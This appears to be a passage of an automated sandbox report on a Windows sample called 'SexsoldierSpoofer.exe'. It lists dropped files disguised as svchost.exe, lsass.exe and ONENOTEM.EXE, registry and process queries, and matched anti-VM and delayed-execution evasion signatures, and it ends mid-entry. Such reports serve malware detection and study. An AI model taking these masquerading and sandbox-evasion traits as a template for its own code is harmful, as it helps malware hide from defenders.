type "JSON text data"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.deps.json]- [targetUID: 00000000-00004648] "7A19A3F6AFF08A3C532EF8C78F47948C" has type "Unknown"- [targetUID: N/A] "RPZ-HWID.runtimeconfig.json" has type "JSON text data"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.runtimeconfig.json]- [targetUID: 00000000-00004648] "af397ef28e484961ba48646a5d38cf54.db.ses" has type "Unknown"- [targetUID: N/A] "autolauncher_tracking.txt" has type "Unknown"- Location: [%TEMP%\autolauncher_tracking.txt]- [targetUID: 00000000-00003232] "svchost.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\svchost.exe]- [targetUID: 00000000-00004648] "conhost.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe]- [targetUID: 00000000-00004648] "MicrosoftEdgeUpdateSetup.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateSetup.exe]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe]- [targetUID: 00000000-00005096] "CopilotUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\CopilotUpdate.exe]- [targetUID: 00000000-00007060] "svchost.exe.log" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\svchost.exe.log]- [targetUID: 00000000-00003232] "ONENOTEM.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\windows nt\ONENOTEM.EXE]- [targetUID: 00000000-00008188] "ONENOTEM.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\Google\Chrome\Application\ONENOTEM.EXE]- [targetUID: 00000000-00008188] "ONENOTEM.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\ONENOTEM.EXE]- [targetUID: 00000000-00008188]55:T691,"SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\SEXSOLDIERSPOOFER.EXE"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "")56:T14d8,"msedgeupdate.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll]- [targetUID: 00000000-00005096] "psuser_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser_64.dll]- [targetUID: 00000000-00007060] "psmachine_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_64.dll]- [targetUID: 00000000-00006152] "psmachine_arm64.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_arm64.dll]- [targetUID: 00000000-00007060] "psuser_arm64.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser_arm64.dll]- [targetUID: 00000000-00007060] "psmachine.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine.dll]- [targetUID: 00000000-00005096] "psuser.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser.dll]- [targetUID: 00000000-00007060] "RPZ-HWID.dll" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.dll]- [targetUID: 00000000-00007748] "msedgeupdateres_el.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_el.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ml.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ml.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_de.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_de.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_it.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_it.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ca-Es-VALENCIA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca-Es-VALENCIA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lb.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lb.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_nl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_gd.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gd.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fr-CA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr-CA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ca.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ro.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ro.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_es-419.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_es-419.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_kn.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kn.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bg.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bg.dll]- [targetUID: 00000000-00007060]57:T67a,"SexsoldierSpoofer.exe" queries basic process information of the "C:\SexsoldierSpoofer.exe" (UID: 4648) "conhost.exe" queries basic process information of the "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe" (UID: 4224) "conhost.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\SystemData\svchost.exe" (UID: 4224) "RPZ-HWID.exe" queries basic process information of the "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.exe" (UID: 7748) "svchost.exe" queries basic process information of the "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\svchost.exe" (UID: 4952) "svchost.exe" queries basic process information of the "C:\Program Files (x86)\windows nt\ONENOTEM.EXE" (UID: 4952) "svchost.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\SystemData\svchost.exe" (UID: 3232) "svchost.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\svchost.exe" (UID: 3232) "ONENOTEM.EXE" queries basic process information of the "C:\Program Files (x86)\windows nt\ONENOTEM.EXE" (UID: 5500) "ONENOTEM.EXE" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 5500) "ONENOTEM.EXE" queries basic process information of the "C:\Program Files (x86)\Microsoft\Edge\Application\ONENOTEM.EXE" (UID: 5500) "ONENOTEM.EXE" queries basic process information of the "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE" (UID: 5500) "powershell.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 2136)58:Tb8f,"SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "IDLETIMERWINDOW"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "SexsoldierSpoofer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")59:T46e,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Contains ability to delay execution (Powershell command string) Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Queries physical drive (often used to detect virtual machines) Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to detect virtual environment (API)5a:Tabe,"svchost.exe" touched file "C:\Program Files (x86)\Windows Multimedia Platform\a86b8ba6-bd30-fcb2-7ba8-ddfe750fa6bd" "svchost.exe" touched file "C:\Program Files (x86)\Windows Multimedia Platform\lsass.exe" "svchost.exe" touched file "C:\Program Files (x86)\windows nt\a86b8ba6-bd30-fcb2-7ba8-ddfe750fa6bd" "svchost.exe" touched file "C:\Program Files (x86)\windows nt\ONENOTEM.EXE" "ONENOTEM.EXE" touched file "C:\Program Files (x86)\Microsoft\Edge\Application\ONENOTEM.EXE" "ONENOTEM.EXE" touched file "C:\Program Files\Google\Chrome\Application\ONENOTEM.EXE" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\CopilotUpdate.exe" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateBroker.exe" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateOnDemand.exe" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeComRegisterShellARM64.exe" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psmachine.dll" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_64.dll" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_arm64.dll" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psuser.dll" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psuser_64.dll" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\psuser_arm64.dll" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\NOTICE.TXT" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\EdgeUpdate.dat" "MicrosoftEdgeWebview2Setup.exe" touched file "C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateCore.exe"5b:T739,"SexsoldierSpoofer.exe" touched file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe" "SexsoldierSpoofer.exe" touched file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.exe" "SexsoldierSpoofer.exe" touched file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\svchost.exe" "SexsoldierSpoofer.exe" touched file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.deps.json" "SexsoldierSpoofer.exe" touched file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.dll" "SexsoldierSpoofer.exe" touched file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.pdb" "SexsoldierSpoofer.exe" touched file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.runtimeconfig.json" "SexsoldierSpoofer.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\conhost.exe" "SexsoldierSpoofer.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.exe" "SexsoldierSpoofer.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\svchost.exe" "SexsoldierSpoofer.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.deps.json" "SexsoldierSpoofer.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.dll" "SexsoldierSpoofer.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.pdb" "SexsoldierSpoofer.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.runtimeconfig.json" "svchost.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "svchost.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2"5c:T92a,"SexsoldierSpoofer.exe" trying to access non-existent file "C:\FLTLIB.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\MSVCP140.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\MSVCP140.dll" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\SHELL32.DLL" "conhost.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "conhost.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "conhost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\FLTLIB.DLL" "conhost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\MSVCP140.DLL" "conhost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\MSVCP140.dll" "conhost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\VCRUNTIME140.DLL"5d:T6d8,"SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\SEXSOLDIERSPOOFER.EXE.CONFIG" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SEXSOLDIERSPOOFER.EXE.LOG" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\SexsoldierSpoofer.exe.config" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\SEXSOLDIER SPOOFER" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\SEXSOLDIERSPOOFER.INI" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\SexsoldierSpoofer.INI" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\59EEF78126D8" "SexsoldierSpoofer.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "conhost.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "conhost.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\MSCOREE.DLL.local" "conhost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\59eef78126d8\CONHOST.EXE.CONFIG" "conhost.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "conhost.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "conhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CONHOST.EXE.LOG"5e:T4d0,Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: msedgeupdate.dll] Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: psuser_64.dll] Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: psmachine_64.dll] Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: psmachine_arm64.dll] Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: psuser_arm64.dll] Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: psmachine.dll] Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: psuser.dll] Observed import api "GetComputerNameExW" which can be "used to retrieve NetBIOS or DNS name associated of the local computer" [Source: MicrosoftEdgeUpdateCore.exe]5f:T7803,Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: 